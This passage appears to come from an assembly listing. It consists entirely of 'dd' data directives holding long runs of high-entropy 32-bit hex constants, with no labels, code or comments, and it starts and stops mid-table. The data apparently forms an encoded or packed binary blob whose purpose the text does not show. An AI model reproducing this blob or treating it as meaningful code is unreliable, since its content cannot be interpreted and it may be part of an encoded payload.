0AF006E21h dd 32C6B9F2h, 0C58CA66h, 0E805AE3Dh, 1E8C1DF0h, 5188917Eh dd 8072885Ch, 0AC9186A1h, 0DB0C3A80h, 0E8C16FB2h, 44B64938h dd 5F14F700h, 6A67A149h, 0E6B67751h, 0B42E8080h, 84A17E4Fh dd 98518AEh, 83DB7B1Dh, 1201301Ch, 0D92E1D7Dh, 0C7B7A2h dd 78AB270h, 4EC37F03h, 1EC88864h, 8991D367h, 1C4764CAh dd 9187A207h, 0BD1499D0h, 1EC200FFh, 2BD71804h, 0B0C02EEBh dd 4E02E906h, 938005Fh, 46A055E1h, 3B54D8AEh, 13002CACh dd 623D6E6Ch, 64BF072Ah, 0C3B49063h, 18507624h, 0F8C82E4h dd 28ABEC27h, 83C58851h, 0CBEC1F74h, 0F7C1C398h, 0E7B4A350h dd 0A0889641h, 0BB0132D3h, 0C5DE5299h, 8C860820h, 25F2A904h dd 4B62CCB6h, 0F2307027h, 5CF035h, 9B101CFEh, 0EB16DCCCh dd 0B850E330h, 0CE5D957h, 4A331BD5h, 0AC2A5570h, 0C490A058h dd 6D95244h, 0B9EFD5E0h, 0DFF86133h, 0FF24EE01h, 30BB5250h dd 0E1AF1980h, 7496A1CEh, 1D39B00h, 82EB8037h, 53331ADBh dd 0F4026819h, 8F018DBFh, 0D3AF3Ch, 0D54F2418h, 64B633DFh dd 41249548h, 7930F2FCh, 43877991h, 81A08074h, 13846791h dd 48B0DB31h, 50333044h, 8896B3C2h, 0ACF2BF4h, 4EC75CF6h dd 808311B0h, 0B62AF2A6h, 0C7B891B4h, 0DBF2906Dh, 0F012D97Ah dd 0BD0E083Fh, 0B8585494h, 590F8C67h, 840A9C0Dh, 6CCD4152h dd 2AAACCh, 68057AC7h, 169B3ECDh, 9D307B01h, 0AE7F2418h dd 59E4E440h, 872A02A0h, 80544AF0h, 2504484Ch, 4828A9ECh dd 7620C462h, 13FEC1Dh, 57E6D9FDh, 494A373Ch, 18D0A698h dd 5D4674h, 0B8DD3FE4h, 2AA2DFDEh, 46B4C35Bh, 0F2A50282h dd 1CACB629h, 0F2AD6C00h, 0D3411E62h, 3CEB020Ch, 0F92DE72Ch dd 61812884h, 0B6DCF2A8h, 44448CA4h, 0F2B0386Fh, 0F1726A07h dd 435860C2h, 0E8CAFCC5h, 78C1DC23h, 6CE58691h, 9F886B18h dd 49910080h, 8989594h, 563FAD59h, 78D82C9Eh, 7CB7C708h dd 0B4027246h, 98BBABF1h, 9ED7C849h, 30C42FC1h, 5C8FFCB7h dd 0EEC047C8h, 94B8709h, 0B4E038A9h, 5570420h, 300AC1FDh dd 0B0747707h, 3861FF0Ch, 72E21A38h, 5CC72853h, 4660B844h dd 0AE245F70h, 5105F4E1h, 54C0E80Ah, 40A33BD5h, 0CC18D347h dd 0C038B060h, 6CD450AEh, 0CF2003AFh, 0AABF4704h, 15E3B811h dd 4064C812h, 31EC463Ch, 27007FBBh, 35A08F94h, 3821DD6h dd 0D18864D3h, 5E906DAAh, 0AE1A6031h, 9D617BD0h, 81421124h dd 623718FEh, 740489A6h, 9200C746h, 0B365646h, 34B2732Ch dd 1009B500h, 85C70612h, 0EC16FC13h, 29CE101h, 0E855066Ah dd 201C1103h, 8980C35Dh, 8104246Ch, 1608CC44h, 55004521h dd 8536F8C3h, 65999589h, 1EE95C05h, 0F1BDC511h, 8396718h dd 6830F8Ah, 0D19D8D06h, 8B66012Dh, 0FF2381F2h, 9C9ECBFEh dd 591C5146h, 4C8988C3h, 414017C4h, 0A0F1C351h, 0E9FE0B0Ch dd 1D121910h, 36CF04h, 9BC7D401h, 9004E8Fh, 0E32D105Bh dd 18DB8C66h, 3308870Fh, 0B5188960h, 619A1231h, 4C306F6h dd 2358840Fh, 19C44E85h, 0AE749F60h, 85454B0Bh, 2A8D77FFh dd 156E8862h, 0CA501D31h, 74CD2404h, 0E0001946h, 5A12B933h dd 0BD158BF9h, 77D01535h, 575D0450h, 0C35F398Ch, 887C8911h dd 57478718h, 0D4C171C3h, 9529F807h, 561C3D32h, 642147B0h dd 0D9A601Ah, 0BE980009h dd 70E6A589h, 0A48814E9h, 659900A8h, 0EFE27CC8h, 8A00BC08h dd 0CEE74DD1h, 13D36E0h, 71E4655Fh, 8C0C820Fh, 0B07E939h dd 0F4DB0056h, 6C724615h, 0D864B60Fh, 0C76453A8h, 5C892223h dd 101D5491h, 4CC35343h, 0BB008298h, 400D5BC4h, 5590A531h dd 6ABAF024h, 2988B548h, 0C3323F18h, 5831506Ch, 448991EFh dd 40790019h, 2518C350h, 5B1311E8h, 97A20365h, 0E62CBBDAh dd 0D23B0FB8h, 17A36A00h, 0B529B204h, 740961DDh, 0EEE8C15Fh dd 0F766A140h, 5682E264h, 0C8C35E61h, 458C7489h, 0C31C2015h dd 66149000h, 2B8D9ABEh, 0B5230CD8h, 93640CADh, 4C784FA8h dd 0C6988100h, 86FC0B0Eh, 620703D2h, 0B60AB849h, 1AB26088h dd 0F02E8B8h, 61585A31h, 0A8A845Eh, 0AE4CAF40h, 0E500FDB3h dd 0E42CE1C5h, 0ACB7CBEh, 935F13CFh, 1B465C62h, 7600F63Fh dd 62DACCB1h, 9D1001DEh, 0FF06068Dh, 0C1449B5h, 0C3525EC8h dd 8991C35Ah, 807D3354h, 1EC35242h, 0BEA65411h, 9555C22Ah dd 626419CDh, 0F88BF948h, 82078C1Dh, 0F03D010Dh, 6BD4B5D0h dd 5E828D7h, 0B38E1722h, 66E800DDh, 0D998E281h, 5F61F809h dd 9F4710E8h, 1D70008Eh, 0B531743Dh, 12921345h, 839DB3A2h dd 9B811C11h, 0ED680256h, 2408C4E7h, 419D891Ah, 0A7C488F7h dd 0B144674h, 0E613C16h, 9F028909h, 8216114Fh, 60C51A07h dd 821C2DA3h, 0BF64FAAEh, 0BD58DF7h, 0C017887Fh, 376DADF8h dd 75B50B09h, 97F31326h, 0B0D5FD84h, 0E859C054h, 2D018C19h dd 59481168h, 263060ECh, 81054021h, 2C3BCB02h, 476136E5h dd 6016E4EDh, 12E2888Ch, 50BDBF66h, 18B824EEh, 7E8048Ch dd 829F5C98h, 75675875h, 0DB601D44h, 0C801E699h, 943FFAA7h dd 0D6577B32h, 0D7248135h, 7A58504h, 88F1B21Bh, 335D7528h dd 8E790017h, 91EBF02Ah, 0D8B3011Bh, 0E8EEDAD0h, 77C7C0ABh dd 0B013350Bh, 0A30F12B9h, 85C183D3h, 3200606Bh, 0DD11F76Ch dd 2012A7DEh, 0C91E879Fh, 3B83F881h, 8A310FD9h, 0A37F35BBh dd 39E75830h, 7447D924h, 1D031B46h, 4B94C68Eh, 0F6779DE0h dd 224EC15Dh, 292DB376h, 1819D1CCh, 3EAF0077h, 5B064C87h dd 3A07EE81h, 2B63152Ah, 18F6C4FCh, 0D508343Dh, 0B1913886h dd 0A71819F9h, 1DF96D00h, 8589344Ch, 912B9401h, 86602430h dd 80F20200h, 4BA6645h, 8B61FD29h, 88B6CEC0h, 4925C015h dd 301218BFh, 0E843070Ah, 0FE9D8h, 0BB508827h, 794AF562h dd 0E163831Dh, 1D4593C2h, 24641A0h, 0FE8B2B80h, 3ED85C7h dd 27DBB6C1h, 483076B7h, 0A9204141h, 16D136A8h, 9B247418h dd 0C50886BAh, 75912018h, 0F28181F5h, 0D04969C4h, 850F0D71h dd 8DD9453Fh, 0C4E96942h, 71CF00BEh, 7C7D52E2h, 590B8741h dd 3285FF11h, 0C40E458Eh, 66BF601Ah, 0ED0E0B10h, 4689150Bh dd 7C2AB888h, 0A6001D46h, 83BF21D3h, 0A016609h, 9D315F94h dd 0BF622BE1h, 0EBC7BF80h, 29E57490h, 11DB84Bh, 34CE13CBh dd 62E98714h, 996A07BDh, 89F15E37h, 71A6258Dh, 2AC50800h dd 2D78100h, 9076636Bh, 48580698h, 1A660CDFh, 0FF360929h dd 0A21815D1h, 0BD334105h, 31C806A9h, 0B70F12F3h, 0C842CBF1h dd 0D163C31Bh, 71625FE0h, 1D3BF39h, 578AD7B3h, 2BB88B0Fh dd 1D7DE863h, 0E2347442h, 0EC97301Ch, 0AD74F400h, 6688F071h dd 0EE804C0Fh, 0A9A60493h, 0C9BD4305h, 0FC0C0017h, 143FF5BFh dd 330BBE38h, 0B750FDDCh, 1AE584D6h, 80CCD01Bh, 967E948h dd 5D902821h, 1F290F43h, 9ED5F3FFh, 0B377BB71h, 0E5BD788Ch dd 8BF6857Ah, 0E258C152h, 0CCE73015h, 59406296h, 2D2262F6h dd 0BCFC9B6Fh, 0E1A71634h, 0C90EF4A0h, 0BF4F4D01h, 158F528Ah dd 40FDA520h, 0B5790922h, 14601141h, 8D9326F7h, 0D32E14C6h dd 0BF0B18Eh, 10E86050h, 91B6C1h, 437AD038h, 392AA182h dd 228C8A00h, 0C868BEE9h, 67EA2569h, 915E0799h, 0E3000942h dd 3A9D84F6h, 6D0E96B7h, 336158B2h, 220F8588h, 29090683h dd 1226C58Dh, 11B71D4Eh, 0C5D48017h, 90030F3Ah, 0F006E7E3h dd 1617BC13h, 13F9B344h, 5C08302h, 4570FA73h, 0FE750029h dd 0F78B40BBh, 0E9505090h, 9204BD66h, 0FE972645h, 17C85BCEh dd 0D57299C0h, 8B3EC76Eh, 406D49F8h, 0F947B0E0h, 565B1F97h dd 9CA6BBC2h, 4806110Bh, 107D1379h, 0D74BD27h, 148811CFh dd 616046C2h, 8415D134h, 4351F24h, 1204D595h, 25202AAh dd 0DC5B15AFh, 2E4A0778h, 55EFC93h, 6BD3FFF1h, 60F4035Ah dd 840D9D29h, 26C3C01Bh, 91A0A97Eh, 0D1C73145h, 7BBCFB7h dd 9F8B79ADh, 801C11C8h, 4C097970h, 0D6880BC0h, 32034190h dd 7CA360Fh, 0FA7A31C0h, 0E9569904h, 0E80D0835h, 815DC043h dd 6CC6ED24h, 46741FA4h, 8D027B19h, 720B54AFh, 1A0A41F9h dd 830EE811h, 73EABD0Bh, 0CC9DC080h, 6C4A02C6h, 525A856Fh dd 17A18C82h, 5BCF5F05h, 127860Bh, 1564AF47h, 8B69C460h dd 0EF9FB4Ch, 0E5968FF6h, 0C7558D9Dh, 2ABC89h, 0A4AF5D6Bh dd 61DDF248h, 0E3810A1Ch, 0E2DBAB35h, 5BB5F580h, 7E05BC3Ch dd 89F8566Eh, 21195C2h, 0E2E1DB0Bh, 81601053h, 9CC607EAh dd 0E4610D50h, 0F494898Ah, 0D101BCDFh, 0BD831819h, 0B76C15AAh dd 3B840F14h, 3EE9FC0Dh, 808C680Dh, 0AFE01D05h, 1C990181h dd 3E359826h, 1014E4CDh, 85C7CC1Ah, 8118D950h, 232CBE66h dd 9A2EEE9h, 1793ABF2h, 820F4584h, 4D140612h, 67C841E4h dd 397BB02Bh, 717D0ED9h, 3DAB7920h, 50050D04h, 0F2CE0BFDh dd 0B424C69Dh, 0D1D521F0h, 9011818h, 17A91476h, 14D84DCEh dd 4DB52BC8h, 225B016Dh, 83297914h, 4A2CCD23h, 0A6CC741Eh dd 1CF1A75Ah, 796DE850h, 0D7ED8200h, 5EB11814h, 2A8B1D02h dd 0CC60F80Bh, 5C59ECB6h, 0A74C6161h, 5DB13D46h, 0D37631D3h dd 0C8E90B84h, 328C296h, 441502E5h, 0DCEB0E53h, 9D935D40h dd 0B0587C9Ah, 8C1DECD4h, 0D0D4FC00h, 45B376C6h, 0A085097Dh dd 0A84570E6h, 0EE601AE4h, 0B23CF9B8h, 0BEF6009Ch, 534DBA71h dd 1123EBE4h, 7D3114A2h, 4400DA73h, 0B20FE6A6h, 42B49342h dd 0D156526h, 456A4F9Bh, 9C1C1823h, 0B8578E1Dh, 30E18205h dd 0BD0846A2h, 26917A9h, 0B1B15B9h, 0A5600A6Fh, 222BF27h dd 2B13ED5Ah, 444150D8h, 0A2E12324h, 0BB1E3016h, 0BD892005h dd 0CBB731ADh, 1925A04Dh, 2C73EEBAh, 0FC1870h, 284C511Dh dd 1EBEF81h, 0C070992Eh, 52EA32C0h, 5220E135h, 248FECBEh dd 2B32400Dh, 584C7859h, 0F202B298h, 3ACBFE05h, 0F83041D5h dd 41E91630h, 227D691Fh, 175E9045h, 0CF21C4D6h, 0C01A8858h dd 497DA17Fh, 9D210113h, 3DCC4513h, 62BA4DFFh, 0E42D5184h dd 0C3F2FB2Bh, 2DC4194h, 7F16D7DFh, 30908F0Fh, 0E6821331h dd 0FB9DF4DFh, 628907EEh, 0A1DB0709h, 731C1A51h, 0DA614D04h dd 0BAC1FCE5h, 810034EDh, 2312CAF7h, 83564584h, 1D23803Ah dd 45AD0038h, 0B0370BB7h, 0CDF534F7h, 42C4E5E2h, 8B66608Ch dd 0F4D30B00h, 0CE8AB30Dh, 0F1FB34Dh, 1FA88D01h, 58610Bh dd 5EC94F5Ah, 9174B632h, 0F0DA563Ah, 3529DE22h, 0A2677995h dd 0B97B5D7Eh, 69BD3084h, 1057AD09h, 165A017Dh, 0C4908A3h dd 0F68729BBh, 375D858Dh, 0CD228B69h, 8310F85Bh, 8C1CE8C8h dd 1F67EB05h, 0A70EFD77h, 84C8F62Fh, 26408A62h, 0BEB123ADh dd 62CE5B46h, 0C32B1B85h, 1A700E53h, 0ED0F0027h, 9D5BB442h dd 6C988237h, 0B403F520h dd 5417C491h, 14F9101Bh, 1746E918h, 5BB82B60h, 56180E60h dd 0B658E58Ah, 0DA372F70h, 1571E00h, 9C83C27h, 56FD7DADh dd 38001351h, 704EC4C0h, 0C919975Dh, 86DAC65Fh, 41B795h dd 0F2A8D791h, 0C725DC7Dh, 0FBF0C885h, 10E126BDh, 184674AAh dd 9482FA3Fh, 0F88B5131h, 2D75F140h, 0B2A6ADB6h, 6D1B350Bh dd 5344BF89h, 56BF6605h, 7AB35FEAh, 7DBD3304h, 0B414AC08h dd 0EEC073DAh, 0B70FE30Eh, 2FE8FB25h, 0F83F60B9h, 0B3878Bh dd 0C867CE04h, 8179B86Eh, 297A0304h, 2926585h, 0C80CC5Eh dd 11B5BD31h, 9026F8F3h, 0B64036E8h, 2EE931Dh, 0D87105C7h dd 56800BE9h, 2AD55634h, 0A0ED9500h, 0F98665F7h, 8D0F275Fh dd 2305B618h, 15F1B4B1h, 9F58EF18h, 0A8F93930h, 23152C8Ch dd 0A9EDBDh, 0C06ABA60h, 590F0D74h, 0D28B4B80h, 20888503h dd 0F665144Eh, 1E45A806h, 0A61E245h, 1AE7B966h, 334438EAh dd 84A59527h, 0DA26123h, 0B5301CF2h, 160C00F0h, 0DAA226D6h dd 2F97E958h, 4B380078h, 19271DFh, 0D5B56731h, 0F093A797h dd 2304BE72h, 0FDBD0160h, 9528E8BDh, 8472987Dh, 0BE6102AFh dd 69398EB9h, 0D3E7F8C0h, 0B8609101h, 74BA0ACFh, 5AECFD21h dd 0FE614CFCh, 0C8C17E8h, 42F4D255h, 0A40BDE60h, 62F6E94Ah dd 0E0AF6D6Eh, 531DF64Ah, 0A0BE7112h, 8BF76A05h, 0C1D9088Dh dd 1AA29323h, 465AD30h, 5FA83A84h, 0BDD8C126h, 78A70519h dd 12A76A5Ah, 2F135AA9h, 5DF70880h, 40E94FFDh, 23512A56h dd 0E000BA56h, 0A4109C62h, 98DA20Bh, 0E28A60D2h, 2B000551h dd 0B5FE6754h, 0CD0D0F16h, 0DA20E0FCh, 613F315Ah, 416993B6h dd 743A1B92h, 8871CBE5h, 13CCC01Ah, 0E004BF9h, 40BE4336h dd 0D10C54BBh, 77BCB74Eh, 0C770EE73h, 48D731ECh, 0A680219Bh dd 0E0DB6259h, 31727D0Ah, 0ED0481F9h, 0B94E1621h, 2D9CD996h dd 56C2A839h, 16A2A196h, 48E17930h, 0F1162B98h, 0F0C9930Dh dd 13E84E18h, 4CA9A42Dh, 3700D907h, 0E106FB9Dh, 9C128B2Fh dd 0EB038DEBh, 0A20B4B82h, 69E47011h, 0A4ED425Eh, 0BD5222C0h dd 0E7262695h, 0F1350200h, 0A7D944D7h, 0C71358A8h, 7912A0FBh dd 35D2004h, 2C72E052h, 4D728CB6h, 0CDFE60DDh, 8B2DD3FFh dd 605498F3h, 69951409h, 0E0014907h, 0E961FEBEh, 31D9EE76h dd 0B21F762h, 1451C902h, 42A6C7CDh, 4D25702Eh, 8E2FC38Ah dd 0C19D8BA8h, 0B4F80840h, 1917E9CBh, 67801B11h, 99FA312Fh dd 2C75A716h, 51FCC492h, 181DF19Eh, 2569004Dh, 76D8A93Fh dd 685CF7CDh, 1C351060h, 22BD8305h, 27DBA220h, 0C4CEE753h dd 6B196018h, 693700DAh, 311167BFh, 0CF6AE973h, 1F4F9C4h dd 0B13F7DA7h, 784CA9DBh, 0C1A13573h, 9FC0F286h, 0CE732BBAh dd 0BE6BF50h, 532E8D46h, 286963B0h, 80FB523Eh, 51D9A591h dd 6BE901B0h, 90B72165h, 0D703CC00h, 2EB4C5Ah, 295C60DDh dd 9958859Dh, 0D95010Ah, 14CE712Fh, 8C1BFCCEh, 20EAB800h dd 27882F8h, 88A4A22Ah, 243BA435h, 6929E8F2h, 0C07FED27h dd 833C903Bh, 0F5BF660Bh, 0ACA8530Dh, 0F300D68Ch, 9101192Eh dd 5A7FEAD1h, 60D5833Dh, 0A463B8A0h, 548094B9h, 0C6AB36A6h dd 6CEC00EFh, 87E6AE29h, 7A0B4964h, 63610C92h, 0F0A013C7h dd 0F6C90B86h, 60699C64h, 705C7B4Bh, 5909FE23h, 79509D0Ah dd 0BE120F77h, 9C7597C0h, 7E2DA9ADh, 11BF4CB1h, 611B699Dh dd 2113BAD8h, 4218202Eh, 97025975h, 0C2F04BBBh, 0A74E5627h dd 0DF817918h, 1F9C4B01h, 2FBE94Ch, 63248C05h, 90F8AE07h dd 66A0DA53h, 7682420h, 3E84D9BEh, 0EEDB09B0h, 17181B70h dd 6F70E6DEh, 0B79C1495h, 26911382h, 9A4BE8E3h, 0E1DB8AA0h dd 5E6BBD02h, 0B64D057h, 225DB509h, 22AB806Ch, 69C0C392h dd 2B40DD9h, 5126F3C9h, 4F03C05h, 0C7DBD8Bh, 7B4ECBF5h dd 0C5C01888h, 4843F0B2h, 0B80F5570h, 0B29C9304h, 5CD90EAFh dd 0D8B3FE44h, 2EF58662h, 467E93D6h, 0EBC7001Ch, 724BED4Eh dd 0AE6A04BFh, 0D1D58529h, 3B8B0F4Ch, 42FB4222h, 31DE0001h dd 0B61BC99Dh, 1B46233h, 0BF726007h, 0BADE40C3h, 0D357FF05h dd 0BD37D9A0h, 98D2A659h, 1F692D53h, 49916B66h, 0E9181871h dd 49AAB800h, 0EF45BF70h, 0F4715458h, 5EAAB889h, 0C6512610h dd 43D3DA82h, 4500870h, 0F78B3D3Bh, 8074A858h, 0C54061F3h dd 0B59F00DEh, 0C66AC7FDh, 0B81607C8h, 0BA926DA8h, 5B92A922h dd 0D3327031h, 0B5248D5Ah, 6E6A8DF1h, 1ECE0062h, 0EA91F8E5h dd 4DD25ABFh, 2627D19Eh, 9896F0E5h, 172600C5h, 0FCA4A3B1h dd 100BCE81h, 4F737A47h, 0F15060C7h, 4D04A1EFh, 349003B7h dd 284A7533h, 9B005A6Fh, 0B643CEE8h, 0AB9091BDh, 3803E92Dh dd 0C7BEE9h, 5B10E374h, 0B531C32Bh, 0C3B41BFCh, 5FAB2E51h dd 63487831h, 17A41424h, 0B7611027h, 8E950FFh, 0C08B2DF8h dd 105BA229h, 21C1470h, 665177D3h, 5B5E3F42h, 4B25442Ch dd 9DD9F89Fh, 731ADA77h, 0DCB076h, 2A70E526h, 9E064E62h dd 1AC0E32Dh, 0E4A77908h, 0D6814020h, 7CC46725h, 498D5A4Eh dd 7242504Ah, 5E167F7Ch, 0DD38B58Dh, 29B5DDD3h, 2FF2A861h dd 3F20E9D0h, 0A6FDFA1Dh, 22DD0D00h, 9C335550h, 0CEA6B4F3h dd 0D25C4h, 0ECBE6690h, 0AD099F9Bh, 184173D0h, 2E31C28Ah dd 1223E06h, 2C0824C8h, 0C16518E1h, 0D5598D29h, 0DBC85A75h dd 701609EEh, 99D90F75h, 9BA28180h, 3B28D8h, 3F909495h dd 7EE086AAh, 0C8005FE8h, 0C78103F6h, 5A47A663h, 8879C82Fh dd 8DFEEF00h, 1323FC56h, 78D00046h, 0B6376160h, 890A0CD9h dd 0FF5F53ABh, 34BD8D06h, 4061EAADh, 9510091Dh, 23051B81h dd 1610A5B5h, 9B43D412h, 7A9FC15Eh, 3BF4C108h, 6EEC4BD1h dd 0A73C9Bh, 0D61C29DAh, 6938449Ch, 0ABEACC8Dh, 6E83DB03h dd 2349B013h, 0E0FBEF93h, 4C427B7Ch, 17E8665Fh, 7470008Ch dd 8CE94999h, 8BE2FFF8h, 3460F077h, 1E4BDE27h, 14FE141h dd 249DE9B1h, 0C200B522h, 0D4C8B856h, 39DCCC6Ah, 0F40082E4h dd 0AFA98FEh, 0F00AD15h, 0E0D547A2h, 0EADA78h, 1F18FF3h dd 1A0AA808h, 24C22000h, 2B53C425h, 75FF0030h, 0C7E1F32h dd 300BE56h, 0CB5FA134h, 3D0779Bh, 1C8689D3h, 90A05CE0h dd 0D100272Ah, 37958F67h, 897E34h, 99938321h, 0D81E903Bh dd 4491CE00h, 0A285EF87h, 94F23CECh, 7DE7DB80h, 0A402FCD2h dd 0B3F71003h, 3D184AA6h, 0CE834529h, 196F72D8h, 4E941DC8h dd 2F031A7Ch, 754424C5h, 8F7FD87Bh, 98360096h, 0F7EFAFA8h dd 3C019295h, 0F4EBA1A4h, 77FC8D90h, 0A3150097h, 568A34D5h dd 0A1000B13h, 0C570D0C9h, 291FBEFh, 0BFB9A927h, 9E0DD4Eh dd 0C4036FE9h, 8ADBDE76h, 7313005Dh, 5F15187Ch, 0FE01016Bh dd 61E3C33Ch, 2383C8F0h, 92F189D7h, 20211B91h, 0D80AB86Bh dd 8870AD04h, 0A819A201h, 2E80F180h, 86EAE18Fh, 4B2F84EEh dd 302E2063h, 1D687931h, 1DD25CA7h, 62D3032Ch, 3800073Ah dd 0B189F341h, 315659B7h, 8A19DB05h, 0C81FF4D3h, 621D7A2Eh dd 0B5C0A725h, 0AEB11B60h, 9E0407F8h, 407DABCCh, 0DCD1C9F4h dd 1B717400h, 0D4CA8083h, 0E6B006Eh, 0B4A87757h, 0BC07AC4Ah dd 0C68B68C2h, 7301AE40h, 1619007Bh, 0C7D28C0h, 82C9E3E4h dd 675200EBh, 1E1A0F13h, 5F9AFB2h, 407C989Bh, 32928B96h dd 6F00D92Fh, 9C3AA297h, 54B2ACh, 0CFAE20A9h, 356A7EAFh dd 648C1F0Ch, 6B58EFh dd 1AD0B31Dh, 5696022h, 14AC0200h, 0E4BA7D11h, 848703EFh dd 0EA12832Eh, 0A3F13500h, 0E4B89839h, 0C068509Dh, 0F88958C4h dd 0C0846394h, 88F4C0E8h, 7800DAD2h, 9FFDF7CDh, 0F55235h dd 89E9E254h, 0C0AB95A0h, 0D5B55600h, 25961106h, 6C7C60FDh dd 8826BE0Ch, 0EB5CE513h, 0D1EC02A1h, 767900D7h, 69D32120h dd 34009C91h, 1F857B31h, 0AAF881Ch, 0F6B4FBCFh, 62DB08D8h dd 80A08194h, 15797046h, 0C4BC0012h, 2A026CCAh, 4D2ABE31h dd 3B00FC25h, 95E3E242h, 0C45179EAh, 800A5817h, 5EC2B9A1h dd 0AEA55B00h, 33EA474Ah, 3EE41E53h, 0E1D68185h, 2287DB79h dd 305D1811h, 534843h, 3D32E8EBh, 0BE75D2D5h, 107EDE7Ch dd 40A09900h, 815535D6h, 0C27B622Ah, 17230171h, 0B2B5910Fh dd 0A1F324h, 29AB8B4Ah, 0F7FA5A53h, 5F2437F2h, 0C4001867h dd 2B95F5EEh, 24BF00AEh, 2CAF0879h, 0DE4869FBh, 0DDD700E4h dd 0F7F1E17Fh, 65EE2699h, 0C007493Ch, 75FB4323h, 0C493E4C9h dd 0A50390F2h, 0BEE58A6h, 79BBBBBAh, 4EAC0120h, 3A9E954Bh dd 1CFCE437h, 8407AD3Dh, 47A59F6Eh, 4B6505D0h, 0DBF400D0h dd 0F3F68E7Ch, 0E500433Dh, 0B123C6E2h, 0FA77D8C0h, 4FB9009Dh dd 5FFCEAEh, 0E9065347h, 52A5CD3Eh, 66B43F72h, 1B8D3000h dd 6C619A96h, 35700400h, 19F66077h, 300C05C2h, 408B09DEh dd 636AAF9Fh, 0C43035E0h, 0C269DA7Bh, 0BB1B0014h, 1FCA62B8h dd 0CC76C096h, 76095F06h, 36E3C4Eh, 0C2A50F5Dh, 37EBD059h dd 98461700h, 3EA8409Eh, 0E6C0066h, 15868070h, 0F3601B8Ch dd 19ACFA27h, 0F80FC0F1h, 590F12AAh, 765F4Ch, 7A4929E2h dd 0A0772280h, 0C1CCF4C0h, 0F285D32Dh, 0D10F80CAh, 0A69B1983h dd 2FB0024Fh, 766E44DEh, 51BBD740h, 0EA49184Fh, 43C218BEh dd 0AB50E44h, 3D000898h, 8DF7614Ch, 0A3790200h, 0ED4346AEh dd 8100E83h, 809C17B6h, 0D49FBBCDh, 0BF00288Ah, 69FD814Ah dd 904DD11Ah, 7349003Dh, 3AAD177Dh, 0E8001312h, 672720EFh dd 0A0D6Fh, 63191CB4h, 0A805086Ch, 0A211F100h, 0D145259Eh dd 98430FD6h, 16C01F27h, 2A0EE90h, 0BFB82332h, 80D380D1h dd 221248Ah, 178833CBh, 0D8841C02h, 41998723h, 0F8369E93h dd 9B0073DDh, 8F4F47A1h, 4C04B7FCh, 6480AEE2h, 0FE6FF861h dd 0A3E0D628h, 4337E50Fh, 0E88000D9h, 60EC0B7Eh, 0D77A1ADFh dd 0C200E965h, 84DBD1A2h, 2F978Ch, 0CB6CD62Ch, 0C4221CEBh dd 1F901906h, 0E6360DF7h, 0B5B40014h, 0EA7FFD67h, 44EE60E3h dd 1135B300h, 0D445CE70h, 0ED361EACh, 0C05CE6Fh, 0C53A9E5h dd 6BE472DAh, 10137100h, 0A61AFAB9h, 1C79A7h, 193ECEFFh dd 0AB29BD23h, 6ED8E600h, 60D15AE3h, 52416038h, 1C8FF947h dd 36A8B1Ch, 0F900A293h, 787BD9D3h, 65CD00C2h, 0A740C62h dd 7739E98Ch, 0AE7D8BCEh, 331604DEh, 0E1DA8A8Dh, 59206957h dd 7781701h, 0D26050DFh, 9D533600h, 4A745A3h, 0E20A7B18h dd 489BE91Fh, 95876931h, 1D73860Ch, 258B810Ch, 0FBBC26h dd 2EF78C85h, 0CF5131E8h, 2C835D07h, 67E06358h, 8A2FD9h dd 0F04E4820h, 0AA686252h, 0BA02B075h, 0DE42390Fh, 0E574E074h dd 257C007Fh, 0BDB78666h, 0E6FCB45Fh, 0D8037170h, 0E7B107FAh dd 0CF905099h, 0D6D00EC0h, 90927578h, 59957E53h, 0B01C0F0Bh dd 9C4E20ADh, 168DEDE6h, 0DDD48Ah, 63CBC032h, 0B500AA60h dd 9E944A4Dh, 17F3538h, 6C222587h, 0F80B0E78h, 5D125455h dd 0A9B4C581h, 3ED7683h, 5C242C87h, 18A66268h, 0F80C893Ch dd 11138D32h, 30880F1Ch, 0B81E049Eh, 4A2B33C0h, 3EF68A05h dd 0C186BBEAh, 63906858h, 83E224F0h, 5B9D30DCh, 20A8EC5Dh dd 18F1296h, 58C75DD8h, 5BD134FFh, 5343C481h, 578E0F8Bh dd 0C78AE789h, 0C06210Ch, 0E9C43C87h, 0FC50C301h, 72D65AFFh dd 1DD79E4h, 2EC5B876h, 0D7030616h, 0C053E0F8h, 88198C00h dd 0F31739DAh, 29253D22h, 74F4BE07h, 38FCD1D5h, 6518C098h dd 6BBBA00h, 0A9755276h, 8AF21Dh, 7B3329B3h, 5EAC03B7h dd 8913F000h, 0B57D534h, 586B003Fh, 6C30EB91h, 0D700773Bh dd 89C18B41h, 972D7DBDh, 0C9F7703Bh, 0B7B7515Ah, 286D01EEh dd 2E43A3F6h, 0F8BF4633h, 5B15A7h, 8B525090h, 66310FF9h dd 3D5A35FAh, 10600EC7h, 7F02EE78h, 348C5F90h, 646EAE71h dd 8589D407h, 2F69CA1Dh, 18031884h, 0A0311EA2h, 0A48A0FCBh dd 0BE660B84h, 0B6D09D1Ah, 1BBB797h, 8984194Bh, 98407E8Dh dd 0FCC4BF90h, 502A2D57h, 0A501D544h, 4D4106Ch, 6F7FF999h dd 28E3A18h, 0C5B652Ah, 0F4BCF493h, 0DDD95900h, 1E8FEB96h dd 2C6E30F4h, 0F88B664Ah, 820E1A97h, 9172D16h, 6DA5FF53h dd 0D9C74191h, 954C2003h, 0D3FF01E9h, 87B8FC39h, 91402D00h dd 0B2A3D782h, 0CEBECA60h, 0BFE118C7h, 0B52D0961h, 590B09EDh dd 95898438h, 0E948F0B9h, 628E5F5Eh, 97312810h, 2383949Ah dd 9038BBF9h, 4F9B4B15h, 0CDA59D21h, 6702405Dh, 0B5182956h dd 5E5C2199h, 499D348Bh, 0B84FADF9h, 0E76F383Eh, 0B8372305h dd 0F5990478h, 81660017h, 9756F1EEh, 0AE5B8309h, 4B31ECD8h dd 807E93B9h, 5C9B1D5Eh, 39951E80h, 2D0745E3h, 29AFE186h dd 1CED8594h, 1B8044Fh, 0C4830E2Ch, 85B82F92h, 26B10E88h dd 0E9011049h, 87BD6C85h, 1B8AC7F0h, 0B02F937h, 0BAB4D6BDh dd 10236D28h, 4F23B1B5h, 4078588h, 61A6991Bh, 0EC80C47Dh dd 0A09C43Dh, 4E335F0Ah, 40F88A15h, 0ACCBB800h, 48F295E1h dd 0A190BD60h, 0B700BA17h, 8A2C1F16h, 1AC22A1h, 5287B46Eh dd 6D0DBD31h, 0BF5301A8h, 178D3571h, 2F8D9CDFh, 660C213Eh dd 1136703Ch, 0A64C2704h, 6BBF5EFCh, 3E1A23B0h, 0CA58B680h dd 897EF89Ch, 0E8BD9D29h, 5AF9A53Ah, 